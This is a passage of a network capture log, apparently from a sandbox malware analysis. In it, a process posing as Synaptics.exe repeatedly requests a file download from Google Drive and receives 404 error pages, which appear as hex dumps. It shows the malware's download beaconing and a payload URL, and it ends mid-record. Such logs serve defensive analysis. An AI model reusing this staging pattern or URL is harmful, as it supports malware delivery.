2024-07-02 04:51:25 UTC	1585	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 75 42 44 5a 33 41 6b 53 5a 46 57 5f 4e 5f 6e 69 6d 4f 62 49 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FuBDZ3AkSZFW_N_nimObIw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-seri
2024-07-02 04:51:25 UTC	57	IN	Data Raw: 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: d on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-t416PsK4htAa5gXulobJaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:25 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=IbPQbmkO8S1c__kDzWy2niX9im8MAVnJ0ifr197baqmYgMBHx1Gdq7YI3NNXycd3ge8Qf-Mkbwlt27bx5bRdhUEvWlqwVraURIaL3FIv8h2ePtmkvqEjd_HFpPJYvCrj-dzSXhJdnl_4WxISiCzdyaSwhb0j4OcPgFDXebu_nlw
2024-07-02 04:51:26 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:26 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ncqU9Si3T-i0tD_uYa4hWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NqZbGTKI7NPl2CG9mv_MEl7yd0TmKVw7-JxVwt-58cOfdrB8aPEl4KQO_fZGmhR1vfcLkhdyEURVQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:26 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:26 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 7a 71 59 33 33 47 33 76 44 74 6a 64 45 6a 4a 38 46 5a 68 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="lzqY33G3vDtjdEjJ8FZhbQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:26 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49729	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:25 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-7K-knquDnbBCGFNga8eULg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49730	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:26 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49739	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-RJTzfzk52x-Yz95l4fRNiA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49740	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:27 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:27 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:27 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-a-T4zE9cKFjSGMXrX7JDPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NpUVMUdbztLVSQ7m7mrEIGog5Ar7xWuxOu_QMsj78GavUeu5GUoAfZcGUVoehwoKYHtbHbePRjRKA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:27 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:27 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 76 46 67 71 6f 47 5a 66 76 6a 4e 67 69 39 33 68 71 32 5f 50 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="mvFgqoGZfvjNgi93hq2_Pw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:27 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49741	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-zQQv4_apsisvaatInMcFag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49745	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-SShM9zi6z-b_nNkpZxb4cQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49744	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:28 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:28 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:28 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fR-ApMskgTBFLtSq6sCb_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NqeN6Q4cT-zvrdPVy3snhenb7Dna7q2HehB5y46bz5vBA7IdDxbsvaaX34U1T-NfeyoWxI Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:28 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:28 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 32 58 68 58 49 68 5a 4f 34 51 55 64 68 38 56 51 30 6b 35 56 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="52XhXIhZO4QUdh8VQ0k5VA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:28 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49746	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-jeJ79d1KmhnMV9kJ_ZsxXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: 